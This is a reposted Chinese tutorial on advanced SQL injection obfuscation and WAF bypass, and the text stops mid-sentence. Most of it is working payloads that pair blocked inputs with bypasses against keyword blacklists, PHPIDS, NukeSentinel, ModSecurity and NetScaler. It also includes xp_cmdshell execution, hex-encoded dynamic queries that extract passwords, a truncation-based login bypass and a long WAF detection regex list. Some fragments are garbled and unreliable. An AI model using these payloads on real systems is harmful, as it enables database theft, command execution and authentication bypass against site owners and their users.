高级SQL注入:混淆和绕过[转]

他是真的挺高兴,因为他终于做到了自己很想做的事,没有在中途胆寒退却。

目录

【0×00】 – 简介
【0×01】 – 过滤规避(Mysql)
【0x01a】 – 绕过函数和关键词的过滤
【0x01b】 – 绕过正则表达式过滤
【0×02】 – 常见绕过技术
【0×03】 – 高级绕过技术
【0x03a】 – HTTP参数污染:分离与结合
【0x03b】 – HTTP参数参杂
【0×04】 – 如何保护你的网站
【0×05】 – 总结
【0×06】 – 参考
【0×07】 – 致谢

【0×01】 – 简介

大家好,这是一篇致力于文档化我们所从事的高级SQL注入技术的文章。

本文将要揭示能用于现实CMSs和WAFs程序中的高级绕过技术和混淆技术。文中所提到的SQL注入语句仅仅是一些绕过保护的方法。还有一些其他的技术能用于攻击WEB程序,但是很不幸我们不能告诉你,因为它们就是0day。不论如何,本文旨在揭示现实世界中没有完全彻底的安全系统即使你在一个WAF上面花费了三十万美元。

本文分为7个章节,仅有0×01到0×03章节是介绍技术内容的。
0×01章节我们将详细介绍关于如何绕过基本的函数和关键词过滤。0×02章节我们将给出常见的绕过技术用于绕过开源和商业性的WAF。0×03章节我们将分两个小节来深入探讨高级绕过技术:“HTTP参数污染:分离和结合”和“HTTP参数参杂”。0×04章节我们将指导如何用正确的解决方案保护你的网站。在最后的0×05章节是对0×01到0×04章节的总结。

【0×01】 -过滤规避(Mysql)

本节将阐述基于PHP和MySQL的过滤规避行为以及如何绕过过滤。过滤规避是一种用来防止SQL注入的技术。这种技术可以用SQL函数,关键词过滤或者正则表达式完成。这就意味着过滤规避严重依赖如何储存一个黑名单或者正则表达式。如果黑名单或者正则表达式没有覆盖每一个注入情境,那么WEB程序对于SQL注入攻击来说仍旧是脆弱的。

【0x01a】 – 绕过函数和关键词过滤

函数和关键词过滤使用函数和关键词黑名单来保护WEB程序免受攻击。如果一个攻击者提交了一个包含在黑名单中的关键词或者SQL函数的注入代码,这个攻击便会失效。然而,如果攻击者能够巧妙使用其他的关键词或者函数来操作注入,那么黑名单将无法阻止攻击。为了阻止攻击大量的关键词和函数必须放到黑名单中。但是这也影响了用户,当用户想提交一个存在黑名单中的单词时,用户将无法提交,因为这个单词已被黑名单过滤。接下来的情境展示了一些使用函数和关键词过滤以及绕过技术的例子。
关键词过滤:

and,or

———————————————————————————–

PHP过滤代码:

preg_match(‘/(and|or)/I’,$id)

关键词and,or常被用做简单测试网站是否容易进行注入攻击。这里给出简单的绕过使用&&,||分别替换and,or。

过滤注入:            1 or 1 = 1    1 and 1 = 1
绕过注入:            1 || 1 = 1    1 && 1 = 1

————————————————————————————

关键词过滤:

and,or,union

————————————————————————————

PHP过滤代码:

preg_match (‘/(and|or|union)/I’,$id)

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:            union  select  user, password  from  users
绕过注入:            1 || (select  user  from  users  where  user_id = 1)=’admin’
** 注意:你必须知道表名,列名和一些表中的其他数据,否则你必须用别的语句从information_schema.columns中获取。

举例,使用substring函数获取表名的每一个字符。

————————————————————————————-

关键词过滤:

and,or,union,where

————————————————————————————-

PHP过滤代码:

preg_match(‘/(and|or|union|where)/I’,$id)

过滤注入:

1||(select  user  from  users  where  user_id = 1)= ‘admin’

绕过注入:

1||( select  user  from  users  limit  1)=’admin’

————————————————————————————–

关键词过滤:

and,or,union,where,limit

————————————————————————————–

PHP过滤代码:

preg_match(‘/(and|or|union|where|limit)/I’,$id)

过滤注入:

1||(select  user  from  users  limit  1)=’admin’

绕过注入:

1||(select  user  from  users  group by user_id having user_id=1 )= ‘admin’

—————————————————————————————

关键词过滤:

and,or,union,where,limit,group by

—————————————————————————————

PHP过滤代码:

preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)

过滤注入:

1||(select  user  from  users  group  by  user_id  having  user_id  =1)=’admin’

绕过注入:

1||(select  substr(group_concat(user_id),1,1) user  from  users  )=1

—————————————————————————————

关键词过滤:

and,or,union,where,limit,group by,select,’

—————————————————————————————

PHP过滤代码:

preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id

过滤注入:

1||(select substr(group_concat(usr_id),1,1)user from users =1

绕过注入:

1|| user_id is not null

绕过注入:

1||substr(user,1,1)=0×61

绕过注入:

1||substr(user,1,1)=unhex(61)

—————————————————————————————-

关键词过滤:

and,or,union,where,limit,goup by,select,’,hex,

—————————————————————————————–

PHP过滤代码:

preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)

过滤注入:

1||substr(user,1,1)=unhex(61)

绕过注入:

1||substr(user,1,1)=lower(conv(11,10,36))

——————————————————————————————

关键词过滤:

and,or,union,where,limit,group by,select,’,hex,substr

——————————————————————————————-

PHP过滤代码:

preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)

过滤注入:

1||substr(user,1,1)=lower(conv(11,10,36))

绕过注入:

1||lpad(user,7,1)

——————————————————————————————-

关键词过滤:

and,or,union,where,limit,group by,select,’,hex,substr,white space

——————————————————————————————-

PHP过滤代码:

preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)

过滤注入:

1||lpad(user,7,1)

绕过注入:

1%0b||%0blpad(user,7,1)

——————————————————————————————–

从上面的例子中我们可以看出有大量的SQL语句可以用来绕过黑名单,虽然黑名单已经包含了很多关键词和函数,此外,还有数不清的例子中没有提到的SQL语句可以用来绕过黑名单。
建立一个更大的黑名单不是一个保护你网站的好注意。记住,过滤的关键词和函数越多,对用户越不友好。

【0x01b】 – 绕过正则表达式过滤

正则表达式过滤是一个比关键词和函数过滤要好的阻止SQL注入的方法,因为它使用模式匹配来检测攻击。但是,很多正则表达式仍然能被绕过。下面以开源软件PHPIDS 0.6举例阐明用来绕过正则表达式的注入脚本。

PHPIDS通常阻止包含=,(或者’ 跟随一个字符串或者整数输入,比如1 or 1=1,1 or ’1’,1 or char(97)。但是,它能被使用不包含=,(或者’符号的语句绕过。

——————————————————————————————–

过滤注入:

1 or 1 = 1

绕过注入:

1 or 1

—————————————————————————————

过滤注入:

1 union select 1, table_name from information_schema.tables where table_name=’users’

过滤注入:

1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’

过滤注入:

1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)

绕过注入:

1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a

绕过注入:

1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273

【0x02】 - 常见绕过技术

在这个章节,我们将提到关于绕过WEB应用防护系统(WAF)的技术。首先我们需要认识一下什么是WAF。

WEB应用防护系统(WAF)是一套设备,服务扩展或者过滤器,对HTTP会话应用一系列的规则。一般来说,这些规则包含了常见的攻击比如跨站脚本攻击(XSS)和SQL注入攻击。很多攻击可以通过制定符合自己程序的规则来识别和阻挡。花时间实现定制规则是有重要意义的,而且当WEB程序改变时需要维护。

WAF通常被称做“深层次数据包检测防火墙”,它们检查HTTP/HTTPS/SOAP/XML-RPC/WEB服务在内的每一个请求和相应。一些现代的WAF系统同时检查攻击特征和异常行为。
现在让我们赶紧来了解如何用混淆技术来破坏WAF吧,只要花时间去理解它的规则以及运用你的想象所有WAF都能被绕过!

用注释来绕过

SQL注释能让我们绕过许多绕过和WAF

http://croot.cnblogs.com/news.php?id+un/**/ion+se/**/lect+1,2,3--

变换大小写
某些WAF仅过滤小写的SQL关键词
正则表达式过滤:/union\sselect/g

http://croot.cnblogs.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

替换关键词
某些程序和WAF用preg_replace函数来去除所有的SQL关键词。那么我们能简单的绕过。

http://croot.cnblogs.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用“%0b”来绕过。

http://croot.cnblogs.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

对于Mod_rewrite:

注释“/**/”不能绕过,那么我们用“%0b”代替“/**/”。

被禁止的:

http://croot.cnblogs.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html

绕过:

http://croot.cnblogs.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

字符编码

大多CMS和WAF将对程序的输入进行解码和过滤,但是某些WAF仅对输入解码一次,那么双重加密就能绕过某些过滤,这时WAF对输入进行一次解码并过滤与此同时程序继续解码且执行SQL语句。

http://croot.cnblogs.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

此外,这些技术结合起来可以绕过Citrix NetScaler

-去除所有“NULL”字符
-在某些部分使用查询编码
-去除单引号字符“’”
-爽去吧!

归功于:Wendel Guglielmetti Henrique 和 Armorlogic Profense 较早的通过URL编码换行符绕过2.4.4

现实例子

NukeSentinel (Nuke Evolution)

// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}

我们能利用下面脚本绕过它的过滤:

禁止:

http://croot.cnblogs.com/php-nuke/?/**/union/**/select?..

绕过:

http://croot.cnblogs.com/php-nuke/?/%2A%2A/union/%2A%2A/select?

绕过:

http://croot.cnblogs.com/php-nuke/?%2f**%2funion%2f**%2fselect

我们可以利用下面代码绕过它的过滤:

http://croot.cnblogs.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

从这个攻击,我们可以绕过Mod Security。让我们看看发生了什么!!
MySQL Server支持3中注释风格:

-从#字符开始到这一行的末尾
-从--序列开始到这一行的末尾
-从/*序列到下一个*/之间,如同C语言
此语法能够使注释延伸到多行,因为开始序列和闭合序列不必在同一行。
下面的例子我们用“%0D%0A”作为换行符。让我们看看第一个请求(获取DB 用户)。SQL数据的结果看起来类似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而当SQL数据被MySQL DB执行的时候类似如下:
0 div 1 union select 1,2,current_user
缓冲区溢出
用C语言写的WAF有溢出的倾向或者在装载一串数据时表现异常。
给出一大串数据使我们的代码执行

http://croot.cnblogs.com/news.php?id=1+and+(select 1)=(select 0x

高级绕过

常见的SQL过滤器类型

在sql注入攻击的上下文中,您可能遇到的最有趣的过滤器是那些试图阻止包含以下一个或多个的输入的过滤器:

SQL关键字,例如SELECT,AND,INSERT
特定的单个字符,例如引号或连字符
空格

您可能还会遇到过滤器而不是阻止包含前面列表中的项目的输入,尝试修改输入以使其安全,通过编码或转义有问题的字符或从输入中剥离违规项目并处理剩下的内容 顺便说一句,顺便说一句,这是不合逻辑的,因为如果有人想要损害你的Web应用程序,你想要处理他的恶意输入。

通常,这些过滤器保护的应用程序代码容易受到SQL注入(因为全世界都存在无能,无知或收入不高的开发人员),并利用您需要的漏洞来找到一种避免过滤器传递恶意输入的方法 易受攻击的代码。 在接下来的几节中,我们将研究一些可以用来做的技术。

绕过SQL注入过滤器

请注意,上述所有SQL注入过滤器绕过技术均基于黑名单过滤心态,而不是白名单过滤逻辑。这意味着糟糕的软件开发基于黑名单过滤器概念。

通过SQL注入过滤器的方法很多,还有更多方法可以利用它们。回避SQL注入过滤器的最常见方法是:

使用大小写变化。
使用SQL注释。
使用URL编码。
使用动态查询执行。
使用空字节。
嵌套剥离表达式。
利用截断。
使用非标准入口点。
结合上述所有技术。

大小写变化

如果关键字阻塞过滤器特别天真,您可以通过改变攻击字符串中字符的大小来规避它,因为数据库以不区分大小写的方式处理SQL关键字。 例如,如果阻止以下输入:

'UNION SELECT @@ version --

您可以使用以下替代方法绕过过滤器:

'UnIoN sElEcT @@ version --

注意:仅使用大写或仅使用小写也可以使用,但我不建议在这种类型的模糊测试中花费大量时间。

SQL 注释

您可以使用内联注释序列来创建SQL的片段,这些片段在语法上不常见但完全有效,并绕过各种输入过滤器。 您可以通过这种方式规避各种简单的模式匹配过滤器。

当然,您可以使用相同的技术来绕过过滤器,这些过滤器只会阻止任何空白区域。 许多开发人员错误地认为,通过将输入限制为单个令牌,他们正在阻止SQL注入攻击,忘记了内联注释使攻击者能够构造任意复杂的SQL而不使用任何空格。

对于MySQL,您甚至可以在SQL关键字中使用内联注释,从而可以绕过许多常见的关键字阻止过滤器。 例如,如果后端数据库是MySQL,如果只检查SQL注入字符串的空格,则以下攻击仍然有效:

UNION//SELECT//@@version//-- Or ' U//NI//ON//SELECT//@@version//--

注意:这种类型的滤波器旁路方法包括间隙填充和黑名单坏字符序列过滤。

URL编码

URL编码是一种多功能技术,可用于击败多种输入过滤器。 在最基本的形式中,这涉及用十六进制形式的ASCII代码替换有问题的字符,前面是%字符。 例如,单引号的ASCII代码为0x27,因此其URL编码表示为%27。在这种情况下,您可以使用以下攻击来绕过过滤器。

原始查询:

NION SELECT @@version --

URL编码的查询:

%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%40%40%76%65%72%73%69%6f%6e%20%2d%2d

在其他情况下,这种基本的URL编码攻击不起作用,但您可以通过对被阻止的字符进行双URL编码来绕过过滤器。 在双重编码攻击中,原始攻击中的%字符本身以正常方式进行URL编码(如%25),因此单引号的双URL编码形式为%2527。 如果您修改前面的攻击以使用双URL编码,它看起来像这样:

%25%32%37%25%32%30%25%35%35%25%34%65%25%34%39%25%34%66%25%34%65%25
%32%30%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32
%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39
%25%36%66%25%36%65%25%32%30%25%32%64%25%32%64

注意:您还应该考虑选择性URL编码也是绕过SQL注入过滤的有效方法。

双URL编码有时会起作用,因为Web应用程序有时会多次解码用户输入,并在最终解码步骤之前应用其输入过滤器。 在前面的示例中,涉及的步骤如下:

攻击者提供输入'%252f%252a / UNION ...
应用程序URL将输入解码为'%2f%2a / UNION ...
应用程序验证输入不包含/ *(它不包含)。
应用程序URL将输入解码为'/ ** / UNION ...
应用程序在SQL查询中处理输入,并且攻击成功。

URL编码技术的另一个变体是使用阻塞字符的Unicode编码。 除了使用带有两位十六进制ASCII码的%字符外,URL编码还可以使用各种Unicode字符表示形式。 unicode编码时的SQL注入查询如下所示:

27 20 55 4E 49 4F 4E 20 53 45 4C 45 43 54 20 40 40 76 65 72 73 69 6F 6E 20 2D 2D

注意:我没有使用unicode编码进行大量实验,坦率地说,我不认为使用Unicode编码的fuzzing SQL会非常有用。

CAST和CONVERT关键字

编码攻击的另一个子类是CAST和CONVERT攻击。 CAST和CONVERT关键字显式地将一种数据类型的表达式转换为另一种数据类型,通过CAST关键字将其嵌入到MySQL,MSSQL和Postgre数据库中。 它已被许多网站中的各种类型的恶意软件攻击使用,并且是一个非常有趣的SQL注入过滤器旁路。 使用此类攻击的最臭名昭着的僵尸网络是ASPRox僵尸网络病毒。 看看语法:

使用 CAST

CAST ( expression AS data_type )

使用 CONVERT

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

使用CAST和CONVERT,您可以通过使用函数SUBSTRING传递结果进行类似的过滤,一个示例可以向您显示我的意思。 以下SQL查询将返回相同的结果:

SELECT SUBSTRING('CAST and CONVERT', 1, 4)

返回结果:CAST

SELECT CAST('CAST and CONVERT' AS char(4))

返回结果:CAST

SELECT CONVERT(varchar,'CAST',1)

返回结果:CAST

注意:请注意,SUBSTRING和CAST关键字的行为相同,也可用于盲SQL注入攻击。 您可以尝试使用此链接来测试此查询。 如果你想看到它,你必须在这个板上注册。)。

进一步扩展CONVERT和CAST,我们可以确定以下SQL查询是否有效且非常有趣,请参阅如何使用CAST和CONVERT提取MSSQL数据库版本。

标识要执行的查询:

SELECT @@VERSION

根据关键字CAST和CONVERT构造查询:

SELECT CAST('SELECT @@VERSION' AS VARCHAR(16))

或者

SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1)

使用关键字EXEC执行查询:

SET @sqlcommand =  SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1)
EXEC(@sqlcommand)

或者首先将SELECT @@ VERSION转换为Hex

SET @sqlcommand =  (SELECT CAST(0x53454C45435420404076657273696F6E00 AS VARCHAR(34))
EXEC(@sqlcommand)

注意:了解CAST和CONVERT的创意。现在,由于句子CAST中包含的数据类型是十六进制的,因此执行varchar转换。

您还可以使用嵌套的CAST和CONVERT查询来注入恶意输入。这样,您就可以开始在不同的编码类型之间进行交换,并创建更复杂的查询。这应该是一个很好的例子:

CAST(CAST(PAYLOAD IN HEX, VARCHAR(CHARACTER LENGTH OF PAYLOAD)),, VARCHAR(CHARACTER LENGTH OF TOTAL PAYLOAD)

动态查询执行
许多数据库允许通过将包含SQL查询的字符串传递到执行查询的数据库函数来动态执行SQL查询。 如果您发现了一个有效的SQL注入点,但发现应用程序的输入过滤器阻止了您想要注入的查询,那么您可以使用动态执行来绕过过滤器。 动态查询执行在不同的数据库上有不同的

在Microsoft SQL Server上,您可以使用EXEC函数以字符串形式执行查询。 例如:

'EXEC xp_cmdshell ‘dir’; — Or 'UNION EXEC xp_cmdshell ‘dir’; —

注意:使用EXEC功能,您可以枚举后端数据库中所有已启用的存储过程,并将已分配的权限映射到存储过程。

在Oracle中,您可以使用EXECUTE IMMEDIATE命令以字符串形式执行查询。例如:

DECLARE pw VARCHAR2(1000);
BEGIN
EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw;
DBMS_OUTPUT.PUT_LINE(pw);
END;

注意:您可以逐行或全部一起执行该操作,当然,通过传递方法的其他过滤器可以与此结合使用。

上述SQL注入攻击类型可以提交到Web应用程序攻击入口点,无论是上面呈现的方式,还是后端数据库接受批量查询(例如MSSQL)时由分号分隔的一批命令。

例如在MSSQL中你可以这样做:

SET @MSSQLVERSION  = SELECT @@VERSION; EXEC (@MSSQLVERSION); --

注意:可以从不同的Web应用程序入口点或相同的查询提交相同的查询。

数据库提供了各种操作字符串的方法,使用动态执行来打败输入过滤器的关键是使用字符串操作函数将过滤器允许的输入转换为包含所需查询的字符串。 在最简单的情况下,您可以使用字符串连接从较小的部分构造字符串。 不同的数据库使用不同的语法进行字符串连接。

例如,如果阻止SQL关键字SELECT,则可以按如下方式构造它。

Oracle:

'SEL'||'ECT'

MS-SQL:

'SEL'+'ECT'

MySQL:

'SEL' 'ECT'

此SQL混淆方法的其他示例如下:

Oracle:

UN’||’ION SEL'||'ECT NU’||’LL FR’||’OM DU’||’AL--

MS-SQL:

' un’+’ion (se’+’lect @@version) --

MySQL:

' SE’’LECT user(); #

请注意,SQL Server使用+字符进行连接,而MySQL使用空格。 如果要在HTTP请求中提交这些字符,则需要将它们分别对其进行URL编码为%2b和%20。 更进一步,您可以使用CHAR函数(Oracle中的CHR)使用其ASCII字符代码构造单个字符。 例如,要在SQL Server上构造SELECT关键字,您可以使用:

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

注意:名为Hackbar的Firefox插件工具也会自动执行此操作(很长一段时间以来)

您可以使用这种方式构造字符串,而无需使用任何引号字符。 如果您有一个SQL注入入口点,其中引号被阻止,您可以使用CHAR函数将字符串(例如“admin”)放入您的漏洞。 其他字符串操作函数也可能是有用的。 例如,Oracle包含函数REVERSE,TRANSLATE,REPLACE和SUBSTR。 在SQL Server平台上构造用于动态执行的字符串的另一种方法是从单个十六进制数字实例化一个字符串,该数字表示字符串的ASCII字符代码。 例如,字符串:

SELECT password FROM tblUsers

可以构造和动态执行如下:

DECLARE @query VARCHAR(100)
SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273
EXEC(@query)

注意:2008年初开始的针对Web应用程序的大规模SQL注入攻击采用了这种技术,以减少被攻击的应用程序中的输入过滤器阻止其漏洞利用代码的可能性。

空字节

通常,为了利用SQL注入漏洞而需要绕过的输入过滤器是在应用程序自己的代码之外,入侵检测系统(IDS)或WAF中实现的。出于性能原因,这些组件通常使用本机代码语言编写,例如C ++。在这种情况下,您通常可以使用空字节攻击来规避输入过滤器并将您的漏洞利用到后端应用程序中。

由于在本机代码和托管代码中处理空字节的不同方式,空字节攻击起作用。在本机代码中,字符串的长度由字符串开头的第一个空字节的位置确定 - 空字节有效地终止字符串。另一方面,在托管代码中,字符串对象包含字符数组(可能包含空字节)和字符串长度的单独记录。这种差异意味着当本机过滤器处理您的输入时,它可能在遇到空字节时停止处理输入,因为这表示就过滤器而言字符串的结尾。如果空字节之前的输入是良性的,则过滤器不会阻止输入。

但是,当应用程序处理相同的输入时,在托管代码上下文中,将处理空字节后面的完整输入,从而允许执行您的漏洞利用。要执行空字节攻击,您只需在过滤器阻塞的任何字符之前提供URL编码的空字节(看起来像这样)。在原始示例中,您可以使用攻击字符串绕过本机输入过滤器,如下所示:

' UNION SELECT password FROM tblUsers WHERE username='admin'--

注意:当访问用作银行结束数据库时,NULL字节可用作SQL查询分隔符。

嵌套剥离表达式

某些清理过滤器会从用户输入中删除某些字符或表达式,然后以常规方式处理剩余数据。 如果正在被剥离的表达式包含两个或多个字符,并且未以递归方式应用过滤器,则通常可以通过将禁止的表达式嵌套在其自身内来使过滤器失败。

例如,如果从输入中删除SQL关键字SELECT,则可以使用以下输入来阻止过滤器:

SELSELECTECT

注意:请参阅绕过愚蠢过滤器的简单性。

截断

清理过滤器通常对用户提供的数据执行多个操作,有时其中一个步骤是将输入截断为最大长度,可能是为了防止缓冲区溢出攻击,或者在具有预定义最大长度的数据库字段中容纳数据 。考虑一个登录函数,它执行以下SQL查询,包含两项用户提供的输入:

SELECT uid FROM tblUsers WHERE username = 'jlo' AND password = 'r1Mj06'

假设应用程序使用清理过滤器,它执行以下步骤:

将引号加倍,用两个单引号(“)替换单引号(’)的每个实例

将每个项目截断为16个字符。 如果您提供典型的SQL注入攻击向量,例如:

admin'--

将执行以下查询,您的攻击将失败:

SELECT uid FROM tblUsers WHERE username = 'admin''--' AND password = ''

双引号表示您的输入无法终止用户名字符串,因此查询实际上会检查具有您提供的文字用户名的用户。 但是,如果您提供包含15个和一个引号的用户名aaaaaaaaaaaaaa’,则应用程序首先将引号加倍,生成17个字符的字符串,然后通过截断为16个字符来删除其他引号。 这使您可以将未转义的引号走私到查询中,从而干扰其语法:

SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = ''

注意:此初始攻击会导致错误,因为您实际上有一个未终止的字符串。

a后面的每对引号代表一个转义引号,并且没有最终引号来分隔用户名字符串。 但是,因为您有第二个插入点,所以在密码字段中,您可以通过提供以下密码来恢复查询的语法有效性并绕过登录:

or 1=1--

这会导致应用程序执行以下查询:

SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = 'or 1=1--'

当数据库执行此查询时,它会检查文字用户名为的表条目:

aaaaaaaaaaaaaaa' AND password =

这可能总是假的,或者1 = 1,这总是正确的。 因此,查询将返回表中每个用户的UID,通常会导致应用程序将您作为表中的第一个用户登录。 要以特定用户身份登录(例如,使用UID 0),您将提供以下密码:

or uid=0--

注意:此查询被认为是用于身份验证绕过或权限提升的非常古老的技术。

更高级的

基于Regexp的WAF:

(?:)\swhen\s\d+\sthen)|(?:"\s(?:#|--|{))|(?:\/*!\s?\d+)|(?:ch(?:a)?r\s(\s\d)|(?:(?:(n?and|x?or|not)\s+||||\&\&)\s\w+()
(?:[\s()]case\s()|(?:)\slike\s()|(?:having\s[^\s]+\s[^\w\s])|(?:if\s?([\d\w]\s[=<>~])
(?:"\sor\s"?\d)|(?:\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\](?:[\d"]+|[^"]+"))+\s(?:n?and|x?or|not||||\&\&)\s[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s[|-]
\s"\s\w)|(?:@\w+\s+(and|or)\s["\d]+)|(?:@[\w-]+\s(and|or)\s[^\w\s])|(?:[^\w\s:]\s\d\W+[^\w\s]\s".)|(?:\Winformation_schema|table_name\W)
(?:"\s*.+(?:or|id)\W"\d)|(?:\^")|(?:^[\w\s"-]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=||)(?<=\&\&)\w+()|(?:"[\s\d][^\w\s]+\W\d
\W.["\d])|(?:"\s[^\w\s?]+\s[^\w\s]+\s")|(?:"\s[^\w\s]+\s[\W\d].(?:#|--))|(?:".*\s\d)|(?:"\sor\s[^\d]+[\w-]+.\d)|(?:[()<>%+-][\w-]+[^\w\s]
+"[^,])
(?:\d"\s+"\s+\d)|(?:^admin\s"|(\/*)+"+\s?(?:--|#|\/*|{)?)|(?:"\sor[\w\s-]+\s[+<>=(),-]\s[\d"])|(?:"\s[^\w\s]?=\s")|(?:"\W[+=]+\W")|(?:"\s[!=|]
[\d\s!=+-]+.["(].$)|(?:"\s[!=|][\d\s!=]+.\d+$)|(?:"\slike\W+[\w"(])|(?:\sis\s0\W)|(?:where\s[\s\w.,-]+\s=)|(?:"[<>~]+")
(?:union\s(?:all|distinct|[(!@])?\s[([]\sselect)|(?:\w+\s+like\s+\")|(?:like\s"\%)|(?:"\slike\W["\d])|(?:"\s(?:n?and|x?or|not ||||\&\&)\s+[\s
\w]+=\s\w+\shaving)|(?:"\s*\s\w+\W+")|(?:"\s[^?\w\s=.,;)(]+\s[(@"]\s\w+\W+\w)|(?:select\s[[]()\s\w.,"-]+from)|(?:find_in_set\s()
(?:in\s(+\sselect)|(?:(?:n?and|x?or|not ||||\&\&)\s+[\s\w+]+(?:regexp\s(|sounds\s+like\s"|[=\d]+x))|("\s\d\s(?:--|#))|(?:"[%&<>^=]+\d\s(=|
or))|(?:"\W+[\w+-]+\s=\s\d\W+")|(?:"\sis\s\d.+"?\w)|(?:"|?[\w-]{3,}[^\w\s.,]+")|(?:"\sis\s[\d.]+\s\W.")
(?:[\d\W]\s+as\s["\w]+\sfrom)|(?:^[\W\d]+\s(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc) )|(?:(?:select|create|rename|
truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_f ile)\s?(?)|(?:end\s);)|("\s+regexp\W)|(?:[\s(]load_file\s()
(?:@.+=\s(\sselect)|(?:\d+\sor\s\d+\s[-+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+()|(?:(?:;|#|--)\s(?:drop|alter))|(?:
(?:;|#|--)\s(?:update|insert)\s\w{2,})|(?:[^\w]SET\s@\w+)|(?:(?:n?and|x?or|not ||||\&\&)[\s(]+\w+[\s)][!=+]+[\s\d]["=()])
(?:"\s+and\s=\W)|(?:(\sselect\s\w+\s()|(?:*\/from)|(?:+\s\d+\s+\s@)|(?:\w"\s(?:[-+=|@]+\s)+[\d(])|(?:coalesce\s(|@@\w+\s[^\w\s])|(?:\W!
+"\w)|(?:";\s(?:if|while|begin))|(?:"[\s\d]+=\s\d)|(?:order\s+by\s+if\w\s()|(?:[\s(]+case\d\W.+[tw]hen[\s(])
(?:(select|;)\s+(?:benchmark|if|sleep)\s?(\s(?\s\w+)
(?:create\s+function\s+\w+\s+returns)|(?:;\s(?:select|create|rename|truncate|lo ad|alter|delete|update|insert|desc)\s(
(?:alter\s\w+.character\s+set\s+\w+)|(";\swaitfor\s+time\s+")|(?:";.:\sgoto)
(?:procedure\s+analyse\s()|(?:;\s(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s\w+\s(\s)\s-)|(?:declare[^\w]+[@#]\s\w+)|(exec\s\
(\s@)
(?:select\spg_sleep)|(?:waitfor\sdelay\s?"+\s?\d)|(?:;\sshutdown\s(?:;|--|#|\/*|{))
(?:*ec\s+xp_cmdshell)|(?:"\s!\s["\w])|(?:from\W+informationschema\W)|(?:(?:(?:current)?user|database|schema|connec tion_id)\s([^)])|(?:";?
\s(?:select|union|having)\s[^\s])|(?:\wiif\s()|(?:exec\s+master.)|(?:union select @)|(?:union[\w(\s]select)|(?:select.\w?user()|(?:into[\s+]+
(?:dump|out)file\s")
(?:merge.using\s()|(execute\simmediate\s")|(?:\W+\d\shaving\s[^\s-])|(?:match\s[\w(),+-]+\sagainst\s()
(?:,.[)\da-f"]"(?:"."|\Z|[^"]+))|(?:\Wselect.+\Wfrom)|((?:select|create|rename|truncate|load|alter|delete|up date|insert|desc)\s(\sspace\s()
(?:[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)])
(?:(sleep((\s)(\d)(\s))|benchmark((.)\,(.))))
(?:(union(.)select(.)from))
(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)

NULL的别名

在MySQL中,NULL可以写为\ N区分大小写。 \ n不是null。
这意味着任何在用户输入上执行“to_lower”并查找“null”的WAF将错过这种情况。

浮点

digits
digits[.]
digits[.]digits
digits[eE]digits
digits[eE][+-]digits
digits[.][eE]digits
digits[.]digits[eE]digits
digits[.]digits[eE][+-]digits
[.]digits
[.]digits[eE]digits
[.]digits[eE][+-]digits

可选以[+ - ]开头

例外:1.AND 2(“1.”“AND”之间没有空格)一些解析器接受,有些则不接受。 1e1 vs. 1e1.0?未定义

十六进制文字

0xDEADbeef

0x区分大小写。

二进制文字

b'10101010'    
0b010101

C风格字符串合并

C风格的连续字符串合并为一个。

SELECT 'foo' "bar";

Ad-Hoc Charset

_charset'....'    
_latin1'.....'    
_utf8'....'    

Operators

!=, <=>

表达

使用“OR 1 = 1”的公共查询扩展名。 除了使用文字之外,还可以使用函数:

